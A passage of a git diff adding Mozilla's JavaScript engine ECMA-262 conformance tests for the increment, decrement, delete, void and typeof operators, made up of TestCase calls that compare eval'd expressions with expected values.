+new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR++", -0.2345, eval("var MYVAR=-0.2345;MYVAR++") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0.2345;MYVAR++;MYVAR", 1.2345, eval("var MYVAR=0.2345;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR++;MYVAR", 0.7655, eval("var MYVAR=-0.2345;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;MYVAR++;MYVAR", 1, eval("var MYVAR=0;MYVAR++;MYVAR") );
+
+// boolean values
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=true;MYVAR++", 1, eval("var MYVAR=true;MYVAR++") );
+new TestCase( SECTION, "var MYVAR=false;MYVAR++", 0, eval("var MYVAR=false;MYVAR++") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=true;MYVAR++;MYVAR", 2, eval("var MYVAR=true;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=false;MYVAR++;MYVAR", 1, eval("var MYVAR=false;MYVAR++;MYVAR") );
+
+// boolean objects
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR++", 1, eval("var MYVAR=true;MYVAR++") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR++", 0, eval("var MYVAR=false;MYVAR++") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR++;MYVAR", 2, eval("var MYVAR=new Boolean(true);MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR++;MYVAR", 1, eval("var MYVAR=new Boolean(false);MYVAR++;MYVAR") );
+
+// string primitives
+new TestCase( SECTION, "var MYVAR='string';MYVAR++", Number.NaN, eval("var MYVAR='string';MYVAR++") );
+new TestCase( SECTION, "var MYVAR='12345';MYVAR++", 12345, eval("var MYVAR='12345';MYVAR++") );
+new TestCase( SECTION, "var MYVAR='-12345';MYVAR++", -12345, eval("var MYVAR='-12345';MYVAR++") );
+new TestCase( SECTION, "var MYVAR='0Xf';MYVAR++", 15, eval("var MYVAR='0Xf';MYVAR++") );
+new TestCase( SECTION, "var MYVAR='077';MYVAR++", 77, eval("var MYVAR='077';MYVAR++") );
+new TestCase( SECTION, "var MYVAR=''; MYVAR++", 0, eval("var MYVAR='';MYVAR++") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR='string';MYVAR++;MYVAR", Number.NaN, eval("var MYVAR='string';MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR='12345';MYVAR++;MYVAR", 12346, eval("var MYVAR='12345';MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR='-12345';MYVAR++;MYVAR", -12344, eval("var MYVAR='-12345';MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR='0xf';MYVAR++;MYVAR", 16, eval("var MYVAR='0xf';MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR='077';MYVAR++;MYVAR", 78, eval("var MYVAR='077';MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR='';MYVAR++;MYVAR", 1, eval("var MYVAR='';MYVAR++;MYVAR") );
+
+// string objects
+new TestCase( SECTION, "var MYVAR=new String('string');MYVAR++", Number.NaN, eval("var MYVAR=new String('string');MYVAR++") );
+new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR++", 12345, eval("var MYVAR=new String('12345');MYVAR++") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR++", -12345, eval("var MYVAR=new String('-12345');MYVAR++") );
+new TestCase( SECTION, "var MYVAR=new String('0Xf');MYVAR++", 15, eval("var MYVAR=new String('0Xf');MYVAR++") );
+new TestCase( SECTION, "var MYVAR=new String('077');MYVAR++", 77, eval("var MYVAR=new String('077');MYVAR++") );
+new TestCase( SECTION, "var MYVAR=new String(''); MYVAR++", 0, eval("var MYVAR=new String('');MYVAR++") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new String('string');MYVAR++;MYVAR", Number.NaN, eval("var MYVAR=new String('string');MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR++;MYVAR", 12346, eval("var MYVAR=new String('12345');MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR++;MYVAR", -12344, eval("var MYVAR=new String('-12345');MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('0xf');MYVAR++;MYVAR", 16, eval("var MYVAR=new String('0xf');MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('077');MYVAR++;MYVAR", 78, eval("var MYVAR=new String('077');MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('');MYVAR++;MYVAR", 1, eval("var MYVAR=new String('');MYVAR++;MYVAR") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.3.2.js b/js/src/tests/ecma/Expressions/11.3.2.js
new file mode 100644
index 000000000..1e4367946
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.3.2.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.3.2.js
+ ECMA Section: 11.3.2 Postfix decrement operator
+ Description:
+
+ 11.3.2 Postfix decrement operator
+
+ The production MemberExpression : MemberExpression -- is evaluated as follows:
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToNumber(Result(2)).
+ 4. Subtract the value 1 from Result(3), using the same rules as for the -
+ operator (section 0).
+ 5. Call PutValue(Result(1), Result(4)).
+ 6. Return Result(3).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.3.2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Postfix decrement operator");
+
+// special numbers
+new TestCase( SECTION, "var MYVAR; MYVAR--", NaN, eval("var MYVAR; MYVAR--") );
+new TestCase( SECTION, "var MYVAR= void 0; MYVAR--", NaN, eval("var MYVAR=void 0; MYVAR--") );
+new TestCase( SECTION, "var MYVAR=null; MYVAR--", 0, eval("var MYVAR=null; MYVAR--") );
+new TestCase( SECTION, "var MYVAR=true; MYVAR--", 1, eval("var MYVAR=true; MYVAR--") );
+new TestCase( SECTION, "var MYVAR=false; MYVAR--", 0, eval("var MYVAR=false; MYVAR--") );
+
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR--", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR--") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR--", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR--") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR--;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR--;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR--;MYVAR") );
+
+// number primitives
+new TestCase( SECTION, "var MYVAR=0;MYVAR--", 0, eval("var MYVAR=0;MYVAR--") );
+new TestCase( SECTION, "var MYVAR=0.2345;MYVAR--", 0.2345, eval("var MYVAR=0.2345;MYVAR--") );
+new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR--", -0.2345, eval("var MYVAR=-0.2345;MYVAR--") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0.2345;MYVAR--;MYVAR", -0.7655, eval("var MYVAR=0.2345;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=-0.2345;MYVAR--;MYVAR", -1.2345, eval("var MYVAR=-0.2345;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;MYVAR--;MYVAR", -1, eval("var MYVAR=0;MYVAR--;MYVAR") );
+
+// boolean values
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=true;MYVAR--", 1, eval("var MYVAR=true;MYVAR--") );
+new TestCase( SECTION, "var MYVAR=false;MYVAR--", 0, eval("var MYVAR=false;MYVAR--") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=true;MYVAR--;MYVAR", 0, eval("var MYVAR=true;MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=false;MYVAR--;MYVAR", -1, eval("var MYVAR=false;MYVAR--;MYVAR") );
+
+// boolean objects
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR--", 1, eval("var MYVAR=true;MYVAR--") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR--", 0, eval("var MYVAR=false;MYVAR--") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);MYVAR--;MYVAR", 0, eval("var MYVAR=new Boolean(true);MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);MYVAR--;MYVAR", -1, eval("var MYVAR=new Boolean(false);MYVAR--;MYVAR") );
+
+// string primitives
+new TestCase( SECTION, "var MYVAR='string';MYVAR--", Number.NaN, eval("var MYVAR='string';MYVAR--") );
+new TestCase( SECTION, "var MYVAR='12345';MYVAR--", 12345, eval("var MYVAR='12345';MYVAR--") );
+new TestCase( SECTION, "var MYVAR='-12345';MYVAR--", -12345, eval("var MYVAR='-12345';MYVAR--") );
+new TestCase( SECTION, "var MYVAR='0Xf';MYVAR--", 15, eval("var MYVAR='0Xf';MYVAR--") );
+new TestCase( SECTION, "var MYVAR='077';MYVAR--", 77, eval("var MYVAR='077';MYVAR--") );
+new TestCase( SECTION, "var MYVAR=''; MYVAR--", 0, eval("var MYVAR='';MYVAR--") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR='string';MYVAR--;MYVAR", Number.NaN, eval("var MYVAR='string';MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR='12345';MYVAR--;MYVAR", 12344, eval("var MYVAR='12345';MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR='-12345';MYVAR--;MYVAR", -12346, eval("var MYVAR='-12345';MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR='0xf';MYVAR--;MYVAR", 14, eval("var MYVAR='0xf';MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR='077';MYVAR--;MYVAR", 76, eval("var MYVAR='077';MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR='';MYVAR--;MYVAR", -1, eval("var MYVAR='';MYVAR--;MYVAR") );
+
+// string objects
+new TestCase( SECTION, "var MYVAR=new String('string');MYVAR--", Number.NaN, eval("var MYVAR=new String('string');MYVAR--") );
+new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR--", 12345, eval("var MYVAR=new String('12345');MYVAR--") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR--", -12345, eval("var MYVAR=new String('-12345');MYVAR--") );
+new TestCase( SECTION, "var MYVAR=new String('0Xf');MYVAR--", 15, eval("var MYVAR=new String('0Xf');MYVAR--") );
+new TestCase( SECTION, "var MYVAR=new String('077');MYVAR--", 77, eval("var MYVAR=new String('077');MYVAR--") );
+new TestCase( SECTION, "var MYVAR=new String(''); MYVAR--", 0, eval("var MYVAR=new String('');MYVAR--") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new String('string');MYVAR--;MYVAR", Number.NaN, eval("var MYVAR=new String('string');MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('12345');MYVAR--;MYVAR", 12344, eval("var MYVAR=new String('12345');MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');MYVAR--;MYVAR", -12346, eval("var MYVAR=new String('-12345');MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('0xf');MYVAR--;MYVAR", 14, eval("var MYVAR=new String('0xf');MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('077');MYVAR--;MYVAR", 76, eval("var MYVAR=new String('077');MYVAR--;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('');MYVAR--;MYVAR", -1, eval("var MYVAR=new String('');MYVAR--;MYVAR") );
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.4.1.js b/js/src/tests/ecma/Expressions/11.4.1.js
new file mode 100644
index 000000000..d247f60fd
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.1.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.1.js
+ ECMA Section: 11.4.1 the Delete Operator
+ Description: returns true if the property could be deleted
+ returns false if it could not be deleted
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+
+var SECTION = "11.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The delete operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// new TestCase( SECTION, "x=[9,8,7];delete(x[2]);x.length", 2, eval("x=[9,8,7];delete(x[2]);x.length") );
+// new TestCase( SECTION, "x=[9,8,7];delete(x[2]);x.toString()", "9,8", eval("x=[9,8,7];delete(x[2]);x.toString()") );
+new TestCase( SECTION, "x=new Date();delete x;typeof(x)", "undefined", eval("x=new Date();delete x;typeof(x)") );
+
+// array[item++] = new TestCase( SECTION, "delete(x=new Date())", true, delete(x=new Date()) );
+// array[item++] = new TestCase( SECTION, "delete('string primitive')", true, delete("string primitive") );
+// array[item++] = new TestCase( SECTION, "delete(new String( 'string object' ) )", true, delete(new String("string object")) );
+// array[item++] = new TestCase( SECTION, "delete(new Number(12345) )", true, delete(new Number(12345)) );
+new TestCase( SECTION, "delete(Math.PI)", false, delete(Math.PI) );
+// array[item++] = new TestCase( SECTION, "delete(null)", true, delete(null) );
+// array[item++] = new TestCase( SECTION, "delete(void(0))", true, delete(void(0)) );
+
+// variables declared with the var statement are not deletable.
+
+var abc;
+new TestCase( SECTION, "var abc; delete(abc)", false, delete abc );
+
+new TestCase( SECTION,
+ "var OB = new MyObject(); for ( p in OB ) { delete p }",
+ true,
+ eval("var OB = new MyObject(); for ( p in OB ) { delete p }") );
+
+test();
+
+function MyObject() {
+ this.prop1 = true;
+ this.prop2 = false;
+ this.prop3 = null;
+ this.prop4 = void 0;
+ this.prop5 = "hi";
+ this.prop6 = 42;
+ this.prop7 = new Date();
+ this.prop8 = Math.PI;
+}
diff --git a/js/src/tests/ecma/Expressions/11.4.2.js b/js/src/tests/ecma/Expressions/11.4.2.js
new file mode 100644
index 000000000..28071120b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.2.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.2.js
+ ECMA Section: 11.4.2 the Void Operator
+ Description: always returns undefined (?)
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "11.4.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The void operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "void(new String('string object'))", void 0, void(new String( 'string object' )) );
+new TestCase( SECTION, "void('string primitive')", void 0, void("string primitive") );
+new TestCase( SECTION, "void(Number.NaN)", void 0, void(Number.NaN) );
+new TestCase( SECTION, "void(Number.POSITIVE_INFINITY)", void 0, void(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "void(1)", void 0, void(1) );
+new TestCase( SECTION, "void(0)", void 0, void(0) );
+new TestCase( SECTION, "void(-1)", void 0, void(-1) );
+new TestCase( SECTION, "void(Number.NEGATIVE_INFINITY)", void 0, void(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "void(Math.PI)", void 0, void(Math.PI) );
+new TestCase( SECTION, "void(true)", void 0, void(true) );
+new TestCase( SECTION, "void(false)", void 0, void(false) );
+new TestCase( SECTION, "void(null)", void 0, void(null) );
+new TestCase( SECTION, "void new String('string object')", void 0, void new String( 'string object' ) );
+new TestCase( SECTION, "void 'string primitive'", void 0, void "string primitive" );
+new TestCase( SECTION, "void Number.NaN", void 0, void Number.NaN );
+new TestCase( SECTION, "void Number.POSITIVE_INFINITY", void 0, void Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "void 1", void 0, void 1 );
+new TestCase( SECTION, "void 0", void 0, void 0 );
+new TestCase( SECTION, "void -1", void 0, void -1 );
+new TestCase( SECTION, "void Number.NEGATIVE_INFINITY", void 0, void Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "void Math.PI", void 0, void Math.PI );
+new TestCase( SECTION, "void true", void 0, void true );
+new TestCase( SECTION, "void false", void 0, void false );
+new TestCase( SECTION, "void null", void 0, void null );
+
+// array[item++] = new TestCase( SECTION, "void()", void 0, void() );
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.4.3.js b/js/src/tests/ecma/Expressions/11.4.3.js
new file mode 100644
index 000000000..d2d06e8c5
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.3.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: typeof_1.js
+ ECMA Section: 11.4.3 typeof operator
+ Description: typeof evaluates unary expressions:
+ undefined "undefined"
+ null "object"
+ Boolean "boolean"
+ Number "number"
+ String "string"
+ Object "object" [native, doesn't implement Call]
+ Object "function" [native, implements [Call]]
+ Object implementation dependent
+ [not sure how to test this]
+ Author: christine@netscape.com
+ Date: june 30, 1997
+
+*/
+
+var SECTION = "11.4.3";
+
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = " The typeof operator";
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "typeof(void(0))", "undefined", typeof(void(0)) );
+new TestCase( SECTION, "typeof(null)", "object", typeof(null) );
+new TestCase( SECTION, "typeof(true)", "boolean", typeof(true) );
+new TestCase( SECTION, "typeof(false)", "boolean", typeof(false) );
+new TestCase( SECTION, "typeof(new Boolean())", "object", typeof(new Boolean()) );
+new TestCase( SECTION, "typeof(new Boolean(true))", "object", typeof(new Boolean(true)) );
+new TestCase( SECTION, "typeof(Boolean())", "boolean", typeof(Boolean()) );
+new TestCase( SECTION, "typeof(Boolean(false))", "boolean", typeof(Boolean(false)) );
+new TestCase( SECTION, "typeof(Boolean(true))", "boolean", typeof(Boolean(true)) );
+new TestCase( SECTION, "typeof(NaN)", "number", typeof(Number.NaN) );
+new TestCase( SECTION, "typeof(Infinity)", "number", typeof(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "typeof(-Infinity)", "number", typeof(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "typeof(Math.PI)", "number", typeof(Math.PI) );
+new TestCase( SECTION, "typeof(0)", "number", typeof(0) );
+new TestCase( SECTION, "typeof(1)", "number", typeof(1) );
+new TestCase( SECTION, "typeof(-1)", "number", typeof(-1) );
+new TestCase( SECTION, "typeof('0')", "string", typeof("0") );
+new TestCase( SECTION, "typeof(Number())", "number", typeof(Number()) );
+new TestCase( SECTION, "typeof(Number(0))", "number", typeof(Number(0)) );
+new TestCase( SECTION, "typeof(Number(1))", "number", typeof(Number(1)) );
+new TestCase( SECTION, "typeof(Nubmer(-1))", "number", typeof(Number(-1)) );
+new TestCase( SECTION, "typeof(new Number())", "object", typeof(new Number()) );
+new TestCase( SECTION, "typeof(new Number(0))", "object", typeof(new Number(0)) );
+new TestCase( SECTION, "typeof(new Number(1))", "object", typeof(new Number(1)) );
+
+// Math does not implement [[Construct]] or [[Call]] so its type is object.
+
+new TestCase( SECTION, "typeof(Math)", "object", typeof(Math) );
+
+new TestCase( SECTION, "typeof(Number.prototype.toString)", "function", typeof(Number.prototype.toString) );
+
+new TestCase( SECTION, "typeof('a string')", "string", typeof("a string") );
+new TestCase( SECTION, "typeof('')", "string", typeof("") );
+new TestCase( SECTION, "typeof(new Date())", "object", typeof(new Date()) );
+new TestCase( SECTION, "typeof(new Array(1,2,3))", "object", typeof(new Array(1,2,3)) );
+new TestCase( SECTION, "typeof(new String('string object'))", "object", typeof(new String("string object")) );
+new TestCase( SECTION, "typeof(String('string primitive'))", "string", typeof(String("string primitive")) );
+new TestCase( SECTION, "typeof(['array', 'of', 'strings'])", "object", typeof(["array", "of", "strings"]) );
+new TestCase( SECTION, "typeof(new Function())", "function", typeof( new Function() ) );
+new TestCase( SECTION, "typeof(parseInt)", "function", typeof( parseInt ) );
+new TestCase( SECTION, "typeof(test)", "function", typeof( test ) );
+new TestCase( SECTION, "typeof(String.fromCharCode)", "function", typeof( String.fromCharCode ) );
+
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.4.4.js b/js/src/tests/ecma/Expressions/11.4.4.js
new file mode 100644
index 000000000..744c9e383
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.4.js
@@ -0,0 +1,122 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.4.js
+ ECMA Section: 11.4.4 Prefix increment operator
+ Description:
+ The production UnaryExpression : ++ UnaryExpression is evaluated as
+ follows:
+
+ 1. Evaluate UnaryExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToNumber(Result(2)).
+ 4. Add the value 1 to Result(3), using the same rules as for the +
+ operator (section 11.6.3).
+ 5. Call PutValue(Result(1), Result(4)).
+ 6. Return Result(4).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.4.4";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Prefix increment operator");
+
+// special case: var is not defined
+
+new TestCase( SECTION, "var MYVAR; ++MYVAR", NaN, eval("var MYVAR; ++MYVAR") );
+new TestCase( SECTION, "var MYVAR= void 0; ++MYVAR", NaN, eval("var MYVAR=void 0; ++MYVAR") );
+new TestCase( SECTION, "var MYVAR=null; ++MYVAR", 1, eval("var MYVAR=null; ++MYVAR") );
+new TestCase( SECTION, "var MYVAR=true; ++MYVAR", 2, eval("var MYVAR=true; ++MYVAR") );
+new TestCase( SECTION, "var MYVAR=false; ++MYVAR", 1, eval("var MYVAR=false; ++MYVAR") );
+
+// special numbers
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;++MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;++MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;++MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;++MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;++MYVAR;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;++MYVAR;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;++MYVAR;MYVAR") );
+
+
+// number primitives
+new TestCase( SECTION, "var MYVAR=0;++MYVAR", 1, eval("var MYVAR=0;++MYVAR") );
+new TestCase( SECTION, "var MYVAR=0.2345;++MYVAR", 1.2345, eval("var MYVAR=0.2345;++MYVAR") );
+new TestCase( SECTION, "var MYVAR=-0.2345;++MYVAR", 0.7655, eval("var MYVAR=-0.2345;++MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0.2345;++MYVAR;MYVAR", 1.2345, eval("var MYVAR=0.2345;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=-0.2345;++MYVAR;MYVAR", 0.7655, eval("var MYVAR=-0.2345;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=0;++MYVAR;MYVAR", 1, eval("var MYVAR=0;++MYVAR;MYVAR") );
+
+// boolean values
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=true;++MYVAR", 2, eval("var MYVAR=true;++MYVAR") );
+new TestCase( SECTION, "var MYVAR=false;++MYVAR", 1, eval("var MYVAR=false;++MYVAR") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=true;++MYVAR;MYVAR", 2, eval("var MYVAR=true;++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=false;++MYVAR;MYVAR", 1, eval("var MYVAR=false;++MYVAR;MYVAR") );
+
+// boolean objects
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);++MYVAR", 2, eval("var MYVAR=true;++MYVAR") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);++MYVAR", 1, eval("var MYVAR=false;++MYVAR") );
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=new Boolean(true);++MYVAR;MYVAR", 2, eval("var MYVAR=new Boolean(true);++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR=new Boolean(false);++MYVAR;MYVAR", 1, eval("var MYVAR=new Boolean(false);++MYVAR;MYVAR") );
+
+// string primitives
+new TestCase( SECTION, "var MYVAR='string';++MYVAR", Number.NaN, eval("var MYVAR='string';++MYVAR") );
+new TestCase( SECTION, "var MYVAR='12345';++MYVAR", 12346, eval("var MYVAR='12345';++MYVAR") );
+new TestCase( SECTION, "var MYVAR='-12345';++MYVAR", -12344, eval("var MYVAR='-12345';++MYVAR") );
+new TestCase( SECTION, "var MYVAR='0Xf';++MYVAR", 16, eval("var MYVAR='0Xf';++MYVAR") );
+new TestCase( SECTION, "var MYVAR='077';++MYVAR", 78, eval("var MYVAR='077';++MYVAR") );
+new TestCase( SECTION, "var MYVAR=''; ++MYVAR", 1, eval("var MYVAR='';++MYVAR") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR='string';++MYVAR;MYVAR", Number.NaN, eval("var MYVAR='string';++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='12345';++MYVAR;MYVAR", 12346, eval("var MYVAR='12345';++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='-12345';++MYVAR;MYVAR", -12344, eval("var MYVAR='-12345';++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='0xf';++MYVAR;MYVAR", 16, eval("var MYVAR='0xf';++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='077';++MYVAR;MYVAR", 78, eval("var MYVAR='077';++MYVAR;MYVAR") );
+new TestCase( SECTION, "var MYVAR='';++MYVAR;MYVAR", 1, eval("var MYVAR='';++MYVAR;MYVAR") );
+
+// string objects
+new TestCase( SECTION, "var MYVAR=new String('string');++MYVAR", Number.NaN, eval("var MYVAR=new String('string');++MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('12345');++MYVAR", 12346, eval("var MYVAR=new String('12345');++MYVAR") );
+new TestCase( SECTION, "var MYVAR=new String('-12345');++MYVAR", -12344, eval("var MYVAR=new String('-12345');++MYVAR") );
